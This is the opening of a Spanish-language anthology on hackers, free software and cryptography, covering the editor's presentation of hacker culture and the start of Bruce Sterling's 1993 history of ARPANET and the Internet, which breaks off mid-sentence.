


En	internet,	hackers	y	software	libre	se	le	ha	dado	la	palabra	a	los	hackers.
Son	ellos	quienes	aportan	diversas	miradas	sobre	el	uso	de	las	tecnologías
informáticas	en	los	tiempos	que	corren.	Combatiendo	la	mirada	descalificada
que	 confunde	 al	 hacker	 con	 el	 cracker	 o	 pirata	 informático,	 los	 hackers
defienden	modos	alternativos	de	programación,	muchas	veces	bajo	redes	de
cooperación	 horizontal	 y	 bajo	 preceptos	 éticos	 que	 se	 transmiten	 de
generación	en	generación.
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Presentación

La	figura	del	«hacker»	suele	aparecer	en	las	noticias	y	las	películas	ligada	a	usos
ilegales	 de	 la	 tecnología.	 Pueden	 ser	 adolescentes	 irresponsables	 o	 enemigos
decididos	 del	 orden	 público,	 más	 o	 menos	 organizados,	 pero	 siempre	 factores	 de
peligro	 que	 disparan	 la	 necesidad	 de	 reforzar	 los	 controles	 y	 sancionar	 leyes	 que
adapten	los	viejos	códigos	penales	a	 las	nuevas	realidades	de	las	computadoras.	Un
chico	curioso	desde	su	cuarto	en	Caballito,	Buenos	Aires,	puede	quebrar	las	leyes	de
varios	 países	 y	movilizar	 a	 sus	 policías.	Un	 filipino	puede	 escribir	 un	virus	 que	 se
propague	atravesando	fronteras	y	continentes.	Los	hackers	son	el	objeto	de	discursos
sobre	seguridad	en	 las	 redes,	que	abarcan	desde	 la	preocupación	de	 las	agencias	de
policías	 y	 de	 las	 grandes	 empresas,	 a	 la	 perplejidad	 de	 los	 expertos	 en	 leyes	 que
deben	crear	nuevos	artilugios	legales	para	clasificarlos,	y	 la	espectacularidad	con	la
que	irrumpen	en	las	crónicas	de	los	noticieros	como	personajes	de	cierto	sub-mundo
criminal.	 Así	 vistos,	 los	 hackers	 participan	 de	 las	 nuevas	 tecnologías	 en	 un	 nivel
similar	al	de	otros	fenómenos	que	obstaculizan	el	flujo	de	los	negocios	por	las	redes	o
echan	mantos	de	sospecha	moral	sobre	ellas;	si	el	«correo	basura»	satura	las	casillas
de	 los	 usuarios	 y	 hace	 perder	 horas	 de	 valioso	 tiempo,	 y	 si	 el	 negocio	 de	 la
pornografía	infantil	o	los	mercados	de	tráfico	ilegal	se	montan	en	el	anonimato	que
permiten	 los	 intercambios	 de	 mails	 en	 Internet,	 los	 hackers	 son	 otra	 zona	 de
inseguridad	 que	 obliga	 a	 reforzar	 los	 controles	 y	 mantener	 activo	 el	 estado	 de
sospecha.

Pero	 los	 hackers	 no	 se	 ven	 a	 sí	 mismos	 como	 delincuentes,	 y	 de	 hecho	 ya	 se
hacían	llamar	«hackers»	cuando	la	mayoría	no	se	había	enterado	todavía	de	qué	era
exactamente	 una	 computadora.	 Dejando	 de	 lado	 el	 estereotipo,	 ¿por	 qué	 son
interesantes	los	hackers?	El	tema	de	este	libro	no	son	los	hackers	como	tales,	sino	su
mirada	 respecto	 a	 aquello	 que	 hacen.	 Para	 los	 primeros	 que	 empezaron	 a	 llamarse
«hackers»	entre	sí,	en	el	MIT	(Instituto	de	Tecnología	de	Massachusetts)	en	EE.	UU.
lo	que	hacían	los	diferenciaba	radicalmente	de	los	demás	técnicos	y	profesores.	Éstos
cumplían	 horarios,	 se	 ajustaban	 a	 la	 burocracia	 e	 investigaban	 sobre	 computadoras
según	 sus	 aplicaciones	 en	 estadística	 y	 otros	 campos	 específicos.	 Los	 hackers
empezaron	 a	 experimentar	 en	 usos	más	 terrenales,	 programas	 que	 tocaban	música,
procesadores	 de	 texto,	 juegos	 de	 ajedrez.	 Esas	 primeras	 creaciones	 fueron	 el
comienzo	de	una	larga	serie	de	aportes	y	proyectos	que	tuvieron	como	protagonistas	a
estos	grupos	de	entusiastas	 (desde	 las	computadoras	personales	a	 la	arquitectura	de
Internet,	 pasando	 por	 la	 criptografía	 y	 la	 idea	 del	 código	 abierto	 que	 derivó	 en	 el
actual	 auge	 de	 Linux).	 Como	 lo	 relata	 Levy	 en	 su	 libro	 Hackers,	 ya	 entonces
promovían	 formas	 de	 trabajo	 que	 contemplaban	 una	 dimensión	 colectiva	 de	 la
tecnología:	facilitar	el	acceso	de	todos	y	compartir	el	conocimiento.

El	 software	 libre	 es	 una	 concepción	 colectiva	 de	 la	 propiedad.	 Todos	 los	 que
escriben	 el	 código	 de	 un	 programa	 son	 dueños	 de	 él;	 y	 todas	 las	 personas	 pueden
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escribir	y	cambiar	el	código	si	quieren,	y	saben	cómo	hacerlo.	Esto	es	lo	que	opone	a
los	sistemas	operativos	Windows	y	Linux:	modelo	abierto	y	participativo	de	Linux,
contra	 el	 de	Windows,	 cerrado,	 orientado	 a	 la	maximización	 de	 ganancias.	 Es	 una
idea	 presente	 entre	 los	 hackers	 desde	 los	 comienzos	 de	 la	 informática.	 El	 escritor
Neal	Stephenson	lo	describe	así:	«Windows	95	y	MacOS	son	productos,	concebidos
por	ingenieros	al	servicio	de	compañías	particulares.	Unix[1],	en	cambio,	es	menos	un
producto	que	la	esmerada	recopilación	de	la	historia	oral	de	la	subcultura	hacker.	Es
nuestra	epopeya	de	Gilgamesh».	Y	sigue:	«Lo	que	hacía	tan	poderosas	y	duraderas	a
las	 viejas	 epopeyas	 como	 la	 de	 Gilgamesh	 era	 el	 hecho	 de	 que	 consistieran	 en
cuerpos	 de	 narrativas	 vivientes	 que	 muchas	 personas	 conocían	 de	 memoria,	 y
relataban	una	y	otra	vez	—haciendo	sus	retoques	personales	cada	vez	que	les	parecía
—.	Los	malos	retoques	se	descartaban,	los	buenos	eran	recogidos	por	otros,	se	pulían,
mejoraban	y,	con	el	tiempo,	eran	incorporados	a	la	historia.	Del	mismo	modo,	Unix
es	conocido,	amado	y	comprendido	por	tantos	hackers	que	puede	ser	reescrito	desde
cero	en	cuanto	alguien	lo	necesite.	Esto	es	muy	difícil	de	entender	para	las	personas
acostumbradas	 a	 pensar	 que	 los	 sistemas	 operativos	 son	 cosas	 que	 necesariamente
hay	que	comprar»	(de	En	el	principio	fue…	la	línea	de	comando	de	Neal	Stephenson)
[2].

Un	punto	de	partida	para	situar	o	pensar	el	papel	de	los	hackers,	podría	ser	este
entusiasmo	por	lo	que	hacen,	el	orgullo	por	sus	obras	y	la	valoración	de	las	personas
según	 sus	 conocimientos	 y	 destrezas,	 que	 se	 refleja	 en	 las	 palabras	 del	 hacker	 y
ensayista	 Eric	 Raymond,	 «La	 cultura	 hacker	 no	 tiene	 líderes,	 pero	 tiene	 héroes
culturales,	ancianos	de	la	tribu,	historiadores	y	portavoces».	De	donde	se	desprende
también	el	sentido	de	horizontalidad	a	la	hora	de	participar	y	hacer	aportes,	que	todos
señalan	como	rasgo	característico.

Cuando	un	grupo	de	hackers	a	fines	de	los	‘70	desarrolló	técnicas	de	criptografía
avanzada	 que	 habían	 copiado	 del	 Ejército	 de	 EE.	 UU.	 y	 diseñó	 programas	 que
garantizan	la	privacidad	de	las	comunicaciones	por	Internet,	el	gobierno	de	EE.	UU.
puso	esos	programas	en	 la	 lista	de	productos	 con	 restricciones	para	 la	 exportación.
Sacarlos	del	país	según	estas	leyes	implica	un	delito	del	mismo	calibre	que	el	tráfico
de	armas	nucleares.	La	difusión	vía	Internet	de	estos	programas	de	criptografía,	gratis
y	con	código	abierto,	logró	que	se	convirtieran	en	un	standard	de	seguridad	en	todo	el
mundo.	 Este	 sería	 otro	 rasgo	 a	 tener	 en	 cuenta,	 el	 de	 la	 iniciativa	 personal,	 la
autogestión	 de	 proyectos	 que	 partiendo	 de	 necesidades	 personales	 o	 locales,	 luego
terminan	beneficiando	a	la	sociedad	en	general.	Paradigma	de	esto	es	el	caso	de	Linus
Torvalds,	el	hacker	finlandés	que	en	1991	empezó	a	programar	un	sistema	operativo
tipo	Unix	para	usar	en	la	PC-386	que	tenía	en	su	casa;	un	proyecto	que	con	el	tiempo
se	 convertiría	 en	Linux,	 el	 sistema	 operativo	 de	 distribución	 gratuita	 que	 hoy	 usan
millones	de	personas.

También	se	llaman	a	sí	mismos	«hackers»	personas	que	se	especializan	en	violar
la	protección	de	computadoras	y	redes	privadas.	Son	los	que	suelen	aparecer	en	 las
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noticias	y	representados	en	algunas	películas,	como	la	famosa	Juegos	de	Guerra.	En
este	caso	se	los	asocia	con	adolescentes	que	se	divierten	con	el	riesgo	y	el	desafío	que
implica	meterse	en	sistemas	de	empresas	o	gobiernos.	En	el	libro	Llaneros	Solitarios,
Fernando	 Bonsembiante	 narra	 las	 historias	 de	 varios	 hackers	 argentinos	 que	 a
mediados	 de	 los	 ‘80	 aprendieron	 a	 aprovechar	 las	 fallas	 de	 seguridad	 de	 las	 redes
locales,	para	usar	el	acceso	a	Internet	con	el	que	contaban	algunas	empresas	antes	de
que	Internet	se	popularizara.	Así,	muchos	de	ellos	pudieron	acceder	a	foros	de	chat
instalados	 en	 sistemas	 «hackeados»	 y	 frecuentados	 por	 hackers	 de	 otras	 partes	 del
mundo.	 En	 1994	 la	 revista	 Virus	 Report	 dirigida	 por	 Fernando	 Bonsembiante,
organizó	un	congreso	de	hackers	en	el	Centro	Cultural	Recoleta,	en	Buenos	Aires,	al
que	asistieron	hackers	famosos	como	el	neoyorquino	Emmanuel	Goldstein,	editor	de
una	revista	legendaria	entre	los	hackers,	la	2600.	Por	su	parte,	los	programadores	de
Linux	 y	 los	 impulsores	 del	 Software	 Libre	 tienden	 a	 negar	 que	 aquellos	 sean
verdaderos	hackers	y	los	asocian	con	delincuentes,	llamándolos	«crackers».

El	 filósofo	 finlandés	 Pekka	 Himanen	 escribió	 en	 La	 ética	 de	 los	 hackers	 y	 el
espíritu	 de	 la	 era	 de	 la	 información	—haciendo	 a	 un	 lado	 a	 estos	 crackers,	 como
primer	paso—,	un	análisis	de	las	motivaciones	y	modos	de	entender	el	trabajo	en	la
«cultura	 hacker»,	 a	 la	 que	 considera	 un	 quiebre	 respecto	 a	 la	 cultura	 del	 trabajo
heredera	 de	 la	 ética	 protestante.[3]	 Contra	 las	 ideas	 de	 sacrificio	 y	 de	 búsqueda
permanente	de	maximización	de	ganancias,	la	ética	de	los	hackers	propone	la	pasión,
la	libertad	para	organizar	el	tiempo	y	el	trabajo,	metas	que	no	toman	el	dinero	como
fin	 en	 sí	mismo,	 sino	 que	 se	 orientan	 a	 la	 cooperación	 y	 el	 interés	 social.	Manuel
Castells	 les	 atribuye	un	 rol	 fundamental	 en	 el	 desarrollo	de	 Internet	 y	de	 lo	que	 él
llama	 la	 sociedad	 red,	dada	 su	 influencia	desde	 los	orígenes	de	 la	 arquitectura	y	 el
estilo	de	organización	abierto	y	horizontal	de	las	redes	de	computadoras.

Un	modo	de	entender	la	actividad	de	los	hackers	sería	a	partir	de	lo	que	producen
con	 sus	 creaciones	 o	 sus	 paseos	 furtivos	 por	 las	 redes,	 en	 tanto	 puntos	 de	 vistas
respecto	a	sus	herramientas	—las	computadoras—.	Todo	un	mundo	queda	expuesto
cuando	a	un	grupo	de	hackers	se	les	ocurre	crear	programas	y	repartirlos	para	que	los
usen	todos	los	que	quieran,	o	cuando	diseñan	sistemas	de	criptografía	avanzada	para
usuarios	 comunes,	 e	 incluso	 cuando	 ponen	 en	 evidencia	 la	 mala	 seguridad	 de	 los
programas	y	 las	 redes	 que	utilizan	 las	 empresas	 y	 los	 gobiernos.	Se	 cuestionan	 las
leyes	de	copyright,	se	pone	en	duda	 la	privacidad	de	 las	comunicaciones,	y	se	abre
una	disputa	sobre	el	control	y	la	función	de	policía	del	Estado	respecto	a	los	usuarios
de	las	redes.	Pero	sobre	todo	se	deja	ver	un	modo	de	vincularse	a	las	tecnologías	por
el	 interés	 directo,	 por	 la	 pasión	 de	 conocer,	 aprender	 y	 compartir	 con	 otros	 lo
aprendido.	En	definitiva,	por	amor	a	la	profesión	(o	al	arte).	Entonces,	si	hubiera	que
responder	a	la	pregunta	de	por	qué	son	interesantes	los	hackers,	la	respuesta	tentativa
sería	 porque	 producen	 visiones	 y	 propuestas	 creativas	 y	 apasionantes	 sobre	 la
tecnología,	 ya	 sea	 que	 lo	 hagan	 porque	 se	 lo	 proponen,	 o	 porque	 surgen	 como
resultado	de	su	presencia,	por	los	cuestionamientos	e	interrogantes	que	ésta	plantea.
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Esta	 antología	 de	 textos	 pretende	 dar	 un	 panorama	 que	 sirva	 de	 introducción	 a
varios	 temas	 vinculados	 a	 los	 hackers	 y	 sus	 actividades	 en	 distintas	 áreas.	Arranca
con	una	sección	de	«Historia»	con	dos	 textos	de	Eric	Raymond	y	el	escritor	Bruce
Sterling	 sobre	 la	 historia	 de	 Internet	 y	 la	 cultura	 hacker.	 En	 «Software	 Libre»	 se
incluyen	un	artículo	de	Miquel	Vidal	que	es	una	introducción,	a	 la	vez	que	balance
crítico,	 del	 software	 libre,	 junto	 con	 una	 selección	 de	 notas	 y	 artículos	 de	Richard
Stallman,	el	impulsor	de	la	patente	GNU	y	la	Fundación	Software	Libre,	en	los	que
debate	 sobre	 la	 importancia	 de	 volver	 a	 pensar	 las	 regulaciones	 de	 copyright	 en
función	 de	 las	 nuevas	 tecnologías	 y	 sobre	 la	 posibilidad	 que	 brindan	 las	 redes	 de
compartir	 la	 información	 (ya	 sean	 programas,	 música	 o	 literatura).	 En	 la	 sección
«Criptografía»	se	 incluyen	dos	 intervenciones	 (un	manifiesto	y	una	ponencia	en	un
congreso)	de	Eric	Hughes	y	John	Gilmore,	que	son	dos	de	los	hackers	más	destacados
del	 grupo	 Cypherpunks	 («Cripto-hackers»),	 un	 grupo	 estadounidense	 dedicado	 a
programar	 y	 difundir	 al	 gran	 público	métodos	 de	 encriptación	 de	 datos	 para	 hacer
más	seguras	 las	comunicaciones.	En	«Hackers»	se	presentan	dos	artículos	de	Steve
Mizrach	y	Jonas	Löwgren,	que	analizan	las	distintas	ideas	que	suelen	asociarse	a	los
hackers,	 y	 las	 discusiones	 entre	 hackers	 «constructivos»	 y	 hackers	 que	 violan	 la
seguridad	 de	 los	 sistemas.	También	 se	 incluyen	 aquí	 dos	 textos	 del	 hacker	 italiano
jaromil	 en	 los	 que	 se	 explaya	 al	 respecto.	 Queda	 por	 hablar	 de	 las	 secciones
«Activismo»	y	«Tecnologías».	Éstas	no	hacen	referencia	explícita	a	los	hackers	y	sus
actividades,	pero	los	incluimos	los	textos	porque	creemos	que	sirven	para	completar
el	panorama	abierto	por	las	demás	secciones.	En	la	sección	«Activismo»	un	artículo
de	Miquel	Vidal	y	otro	escrito	por	Marilina	Winik	del	grupo	Indymedia	Argentina,	se
refieren	 a	 las	 posibilidades	que	 abre	 Internet	 para	 garantizar	 la	 libre	 circulación	de
información	 que	 no	 encuentra	 espacios	 en	 los	 medios	 tradicionales.	 La	 sección
«Tecnologías»	 recopila	 notas	 que	 desde	 distintas	 perspectivas	 y	 disciplinas
reflexionan	sobre	las	relaciones	entre	los	hombres,	las	tecnologías	que	desarrollan	y
lo	 que	 piensan	 e	 imaginan	 sobre	 ellas.	Aquí	 se	 incluyen	 textos	 de	 escritores	 como
Thomas	 Pynchon	 y	 Bruce	 Sterling,	 del	 sociólogo	 argentino	 Christian	 Ferrer	 y	 del
ingeniero	informático	Bill	Joy.

Carlos	Gradin
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B

Breve	historia	de	Internet[4]

Bruce	Sterling

ruce	Sterling	escribió	novelas	y	cuentos	de	ciencia	ficción,	y	libros	y	columnas	sobre	temas
vinculados	a	la	tecnología.	Junto	a	William	Gibson	fue	una	de	las	figuras	más	destacadas	de

la	 corriente	 cyberpunk	 que	 renovó	 el	 género	 ciencia	 ficción	 a	 comienzos	 de	 los	 ‘80.	Entre	 sus
obras	pueden	mencionarse	Islas	en	la	Red	(1988),	The	Difference	Engine	(1990,	en	colaboración
con	Gibson),	Mirrorshades:	 una	 antología	 ciberpunk	 (1992)	 y	The	Hacker	Crackdown	 (1990),
una	investigación	sobre	la	«cacería»	de	hackers	lanzada	por	el	FBI	en	1989.	Nació	en	1954	y	vive
en	Texas,	Estados	Unidos.

Este	artículo	sobre	la	historia	y	arquitectura	de	Internet	salió	publicado	en	febrero	de	1993,	en
la	revista	inglesa	The	magazine	of	fantasy	and	science	fiction.

Hace	unos	treinta	años,	la	RAND	Corporation,	la	principal	fábrica	de	ideas	de	la
América	de	la	guerra	fría,	se	enfrentó	a	un	extraño	problema	estratégico.	¿Cómo	se
podrían	comunicar	con	éxito	las	autoridades	norteamericanas	tras	una	guerra	nuclear?

La	América	 postnuclear	 necesitaría	 una	 red	 de	 comando	 y	 control	 enlazada	 de
ciudad	 a	 ciudad,	 estado	 a	 estado,	 base	 a	 base.	 Pero	 sin	 importar	 cómo	 esa	 red
estuviera	de	protegida,	sus	líneas	y	equipos	siempre	serían	vulnerables	al	impacto	de
bombas	atómicas.	Un	ataque	nuclear	reduciría	cualquier	red	imaginable	a	pedazos.

¿Cómo	sería	controlada	esa	red?	Cualquier	autoridad	central,	cualquier	núcleo	de
red	centralizado	sería	un	objetivo	obvio	e	inmediato	para	un	misil	enemigo.	El	centro
de	la	red	sería	el	primer	lugar	a	derribar.

La	RAND	le	dio	muchas	vueltas	a	este	difícil	asunto	en	secreto	militar	y	llegó	a
una	solución	atrevida.	La	propuesta	de	la	RAND	(ideada	por	uno	de	sus	miembros,
Paul	Baran)	se	hizo	pública	en	1964.	En	primer	 lugar,	 la	red	no	tendría	autoridad
central.	 Además,	 sería	 diseñada	 desde	 el	 principio	 para	 operar	 incluso	 hecha
pedazos.

Los	principios	eran	simples.	Se	asumiría	que	una	red	era	poco	fiable	en	cualquier
momento.	Se	diseñaría	para	trascender	su	propia	falta	de	eficacia.	Todos	los	nodos	en
la	 red	 serían	 iguales	 entre	 sí,	 cada	 nodo	 con	 autoridad	 para	 crear,	 pasar	 y	 recibir
mensajes.	 Los	 mensajes	 se	 dividirían	 en	 paquetes,	 cada	 paquete	 dirigido	 por
separado.	Cada	paquete	saldría	de	un	nodo	fuente	específico	y	terminaría	en	un	nodo
destino.	Cada	paquete	recorrería	la	red	según	unos	principios	particulares.

La	 ruta	 que	 tome	 cada	 paquete	 no	 tendría	 importancia.	 Solo	 contarían	 los
resultados	finales.	Básicamente,	el	paquete	sería	lanzado	como	una	patata	de	un	nodo
a	otro,	más	o	menos	en	dirección	a	su	destino,	hasta	acabar	en	el	lugar	adecuado.	Si
grandes	 porciones	 de	 la	 red	 fueran	 destruidas	 eso	 simplemente	 no	 importaría;	 los
paquetes	 permanecerían	 en	 la	 red	 en	 los	 nodos	 que	 hubieran	 sobrevivido.	 Este
sistema	 de	 envío	 tan	 arbitrario	 podría	 parecer	 «ineficiente»	 en	 el	 sentido	 usual	 del
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término	(especialmente	comparado	con,	por	ejemplo,	el	sistema	telefónico).
Durante	 los	 ‘60,	 este	 intrigante	 concepto	 de	 red	 de	 conmutación	 de	 paquetes

descentralizada	 y	 a	 prueba	 de	 bombas	 caminó	 sin	 rumbo	 entre	 el	 RAND,	 el	MIT
[Massachusetts	Institute	of	Technology]	y	la	UCLA	[University	of	California	in	Los
Angeles].	El	National	Physical	Laboratory	[Laboratorio	Nacional	de	Física]	de	Gran
Bretaña	preparó	 la	primera	 red	de	prueba	basada	en	estos	principios	en	1968.	Poco
después,	 la	Agencia	de	Proyectos	de	Investigación	Avanzada	del	Pentágono	[ARPA,
Advanced	Research	Projects	Agency]	decidió	financiar	un	proyecto	más	ambicioso	y
de	 mayor	 envergadura	 en	 los	 Estados	 Unidos.	 Los	 nodos	 de	 la	 red	 iban	 a	 ser
superordenadores	de	alta	velocidad	(o	lo	que	se	llamara	así	en	aquel	momento).	Eran
máquinas	 poco	 usuales	 y	 de	 mucho	 valor	 y	 que	 estaban	 necesitadas	 de	 un	 buen
entramado	de	red	para	proyectos	nacionales	de	investigación	y	desarrollo.

En	el	otoño	[boreal]	de	1969	el	primero	de	esos	nodos	fue	instalado	en	UCLA.	En
diciembre	de	ese	año	había	cuatro	nodos	en	la	pequeña	red,	que	se	llamó	ARPANET
después	de	que	fuera	promocionada	por	el	Pentágono.	Los	cuatro	ordenadores	podían
transferir	 información	 sobre	 líneas	 dedicadas	 de	 alta	 velocidad.	 Incluso	 podían	 ser
programados	 remotamente	 desde	 otros	 nodos.	 Gracias	 a	 ARPANET,	 científicos	 e
investigadores	podían	compartir	las	facilidades	de	otros	ordenadores	en	la	distancia.
Era	un	servicio	muy	útil	ya	que	el	tiempo	de	proceso	de	los	ordenadores	en	los	‘70
era	algo	muy	codiciado.	En	1971	había	quince	nodos	en	ARPANET;	en	1972,	treinta
y	siete.	Todo	iba	perfecto.

En	 su	 segundo	 año	 de	 operatividad,	 sin	 embargo,	 algo	 extraño	 se	 hizo	 patente.
Los	 usuarios	 de	 ARPANET	 habían	 convertido	 la	 red	 en	 una	 oficina	 de	 correos
electrónica	de	alta	velocidad	subvencionada	federalmente.	La	mayor	parte	del	tráfico
de	ARPANET	no	era	el	proceso	de	datos	a	largas	distancias.	En	vez	de	eso,	lo	que	se
movía	 por	 allí	 eran	 noticias	 y	 mensajes	 personales.	 Los	 investigadores	 estaban
usando	ARPANET	para	colaborar	en	proyectos,	intercambiar	notas	sobre	sus	trabajos
y,	eventualmente,	chismorrear.	La	gente	 tenía	 sus	propias	cuentas	personales	en	 los
ordenadores	de	ARPANET	y	sus	direcciones	personales	de	correo	electrónico.	No	es
que	sólo	utilizaran	ARPANET	para	la	comunicación	de	persona	a	persona,	pero	había
mucho	entusiasmo	por	 esta	posibilidad	mucho	más	que	por	 la	 computación	a	 larga
distancia.

Eso	no	pasó	mucho	antes	del	invento	de	las	listas	de	distribución,	una	técnica	de
emisión	de	información	por	ARPANET	mediante	la	cual	un	mismo	mensaje	se	podía
enviar	automáticamente	a	una	gran	cantidad	de	subscriptores.	Es	interesante	que	una
de	las	primeras	listas	de	distribución	masivas	se	llamara	«SF-LOVERS»	[Amantes	de
la	Ciencia	Ficción].	Discutir	sobre	ciencia	ficción	en	la	red	no	tenía	nada	que	ver	con
el	 trabajo	y	eso	enfadaba	a	muchos	administradores	de	sistema	de	ARPANET,	pero
eso	no	impediría	que	la	cosa	siguiera.

Durante	 los	 ‘70,	 ARPANET	 creció.	 Su	 estructura	 descentralizada	 facilitó	 la
expansión.	Contrariamente	a	 las	redes	standard	de	 las	empresas,	 la	 red	de	ARPA	se
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podía	acomodar	a	diferentes	 tipos	de	ordenador.	En	 tanto	y	en	cuanto	una	máquina
individual	 pudiese	 hablar	 el	 lenguaje	 de	 conmutación	 de	 paquetes	 de	 la	 nueva	 y
anárquica	red,	su	marca,	contenidos	e	incluso	su	propietario	eran	irrelevantes.

El	 estándar	 de	 comunicaciones	 de	 ARPA	 era	 conocido	 como	 NCP,	 «Network
Control	 Protocol»,	 pero	 según	 pasaba	 el	 tiempo	y	 la	 técnica	 avanzaba,	 el	NCP	 fue
superado	por	un	estándar	de	más	alto	nivel	y	más	sofisticado	conocido	como	TCP/IP.
El	TCP	o	«Transmission	Control	Protocol»,	convierte	 los	mensajes	en	un	caudal	de
paquetes	 en	 el	 ordenador	 fuente	 y	 los	 reordena	 en	 el	 ordenador	 destino.	 El	 IP,	 o
«Internet	Protocol»,	maneja	 las	direcciones	comprobando	que	los	paquetes	caminan
por	múltiples	nodos	e	incluso	por	múltiples	redes	con	múltiples	standards	—no	sólo
ARPA	fue	pionera	en	el	standard	NCP,	sino	también	Ethernet,	FDDI	y	X.25.

En	 1977,	 TCP/IP	 se	 usaba	 en	 otras	 redes	 para	 conectarse	 a	 ARPANET.
ARPANET	 estuvo	 controlada	 muy	 estrictamente	 hasta	 al	 menos	 1983,	 cuando	 su
parte	militar	se	desmembró	de	ella	formando	la	red	MILNET.	Pero	el	TCP/IP	las	unía
a	 todas.	 Y	 ARPANET,	 aunque	 iba	 creciendo,	 se	 convirtió	 en	 un	 cada	 vez	 más
pequeño	barrio	en	medio	de	la	vasta	galaxia	de	otras	máquinas	conectadas.

Según	 avanzaban	 los	 ‘70	 y	 ‘80,	 distintos	 grupos	 sociales	 se	 encontraban	 en
posesión	 de	 potentes	 ordenadores.	 Era	 muy	 fácil	 conectar	 esas	 máquinas	 a	 la
creciente	 red	 de	 redes.	 Conforme	 el	 uso	 del	 TCP/IP	 se	 hacía	 más	 común,	 redes
enteras	caían	abrazadas	y	adheridas	a	Internet.	Siendo	el	software	llamado	TCP/IP	de
dominio	 público	 y	 la	 tecnología	 básica	 descentralizada	 y	 anárquica	 por	 propia
naturaleza,	 era	muy	 difícil	 parar	 a	 la	 gente	 e	 impedir	 que	 se	 conectara.	De	 hecho,
nadie	quería	impedir	a	nadie	la	conexión	a	esta	compleja	ramificación	de	redes	que
llegó	a	conocerse	como	«Internet».

Conectarse	a	Internet	costaba	al	contribuyente	muy	poco	o	nada	desde	que	cada
nodo	 era	 independiente	 y	 tenía	 que	 arreglárselas	 con	 la	 financiación	 y	 los
requerimientos	 técnicos.	 Cuantos	 más,	 mejor.	 Como	 la	 red	 telefónica,	 la	 red	 de
ordenadores	era	cada	vez	más	valiosa	según	abarcaba	grandes	extensiones	de	terreno,
gente	y	recursos.

Un	fax	solo	es	útil	si	alguien	más	tiene	un	fax.	Mientras	tanto	no	es	más	que	una
curiosidad.	ARPANET,	 también,	 fue	 una	 curiosidad	 durante	 un	 tiempo.	Después	 la
red	de	ordenadores	se	convirtió	en	una	necesidad	importante.

En	 1984	 la	 Fundación	Nacional	 para	 la	Ciencia	 [National	 Science	Foundation,
NSF]	 entró	 en	 escena	 a	 través	 de	 su	Oficina	 de	Computación	Científica	Avanzada
[Office	of	Advanced	Scientific	Computing].	La	nueva	NSFNET	supuso	un	paso	muy
importante	 en	 los	 avances	 técnicos	 conectando	 nuevas,	 más	 rápidas	 y	 potentes
supercomputadoras	 a	 través	 de	 enlaces	 más	 amplios,	 rápidos,	 actualizados	 y
expandidos	 según	 pasaban	 los	 años,	 1986,	 1988	 y	 1990.	 Otras	 agencias
gubernamentales	también	se	unieron:	NASA,	los	Institutos	Nacionales	de	la	Salud,	el
Departamento	 de	 Energía,	 cada	 uno	 manteniendo	 cierto	 poderío	 digital	 en	 la
confederación	Internet.
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Los	nodos	de	esta	creciente	red	de	redes	se	dividían	en	subdivisiones	básicas.	Los
ordenadores	extranjeros	y	unos	pocos	americanos	eligieron	ser	denominados	según	su
localización	geográfica.	Los	otros	fueron	agrupados	en	los	seis	dominios	básicos	de
Internet:	 gov,	 mil,	 edu,	 com,	 org	 y	 net	 (estas	 abreviaturas	 tan	 sosas	 pertenecen	 al
estándar	de	los	protocolos	TCP/IP).	Gov,	Mil	y	Edu	definen	al	gobierno,	militares	e
instituciones	 educativas,	 las	 cuales	 fueron,	 por	 supuesto,	 pioneras	 de	 la	ARPANET
que	comenzó	como	un	experimento	de	alta	 tecnología	en	seguridad	nacional.	Com,
sin	 embargo,	 definía	 a	 instituciones	 comerciales,	 que	 enseguida	 entraron	 a	 la	 red
como	toros	de	rodeo	rodeadas	por	una	nube	de	entusiastas	organizaciones	sin	ánimo
de	lucro	(los	ordenadores	tipo	net	servían	como	pasarelas	entre	redes).

La	 red	ARPANET	propiamente	 dicha	 expiró	 en	 1989	 como	víctima	 feliz	 de	 su
éxito	 abrumador.	 Sus	 usuarios	 apenas	 se	 dieron	 cuenta,	 pero	 las	 funciones	 de
ARPANET	no	solo	continuaron	sino	que	mejoraron	firmemente.	El	uso	del	estándar
TCP/IP	 para	 redes	 es	 ahora	 algo	 global.	 En	 1971,	 hace	 21	 años,	 sólo	 había	 cuatro
nodos	 en	 la	 ARPANET.	 Hoy	 existen	 decenas	 de	 miles	 en	 Internet	 esparcidos	 por
cuarenta	 y	 dos	 países	 y	 muchos	 más	 que	 se	 conectan	 cada	 día.	 Tres	 millones	 de
personas,	posiblemente	cuatro,	usan	esta	gigantesca	madre-de-todas-las-redes.

Internet	 es	 especialmente	 popular	 entre	 los	 científicos	 y	 es	 probablemente	 su
instrumento	más	importante	de	finales	del	siglo	XX.	Las	posibilidades	de	acceso	tan
potentes	y	sofisticadas	que	ofrece	a	datos	específicos	y	a	la	comunicación	personal	ha
elevado	la	marcha	de	la	investigación	científica	enormemente.

El	 índice	de	crecimiento	de	Internet	a	comienzo	de	 los	‘90	es	espectacular,	casi
feroz.	Se	 extiende	más	 rápidamente	que	 los	 teléfonos	móviles	y	que	 el	 fax.	El	 año
pasado	[1991]	Internet	crecía	a	un	ritmo	del	20%	mensual.	El	número	de	ordenadores
con	 conexión	 directa	 al	 TCP/IP	 se	 ha	 estado	 doblando	 anualmente	 desde	 1988.
Internet	 se	 está	 desplazando	 de	 su	 origen	 militar	 y	 científico	 a	 las	 escuelas	 de
enseñanza	básica	e	institutos,	al	mismo	tiempo	que	a	bibliotecas	públicas	y	el	sector
comercial.

¿Por	qué	la	gente	quiere	estar	«en	la	internet»?	Una	de	las	principales	razones	es
simplemente	la	libertad.	Internet	es	un	raro	ejemplo	de	anarquía	verdadera,	moderna
y	 funcional.	 No	 existe	 Internet	 S.	 A.	 No	 hay	 censores	 oficiales,	 ni	 jefes,	 ni	 junta
directiva,	ni	accionistas.	En	principio,	cualquier	nodo	puede	hablar	de	igual	a	igual	a
otros	nodos	siempre	que	obedezcan	las	leyes	del	protocolo	TCP/IP,	leyes	que	no	son
políticas	sino	estrictamente	técnicas.	(Ha	existido	controversia	sobre	el	uso	comercial
de	Internet,	pero	esta	situación	está	cambiando	según	los	negocios	proporcionan	sus
propios	enlaces	y	conexiones).

Internet	 también	 es	 una	 ganga.	 Internet	 en	 conjunto,	 a	 diferencia	 del	 sistema
telefónico,	 no	 cuesta	 dinero	 según	 las	 distancias.	 Y	 a	 diferencia	 también	 de	 la
mayoría	 de	 las	 redes	 comerciales,	 no	 se	 cobra	 por	 tiempo	 de	 conexión.	De	 hecho,
«Internet»	de	por	sí,	que	ni	siquiera	existe	como	una	entidad,	no	cobra	nada	por	nada.
Cada	grupo	de	gente	que	accede	a	Internet	es	responsable	de	su	propia	máquina	y	de
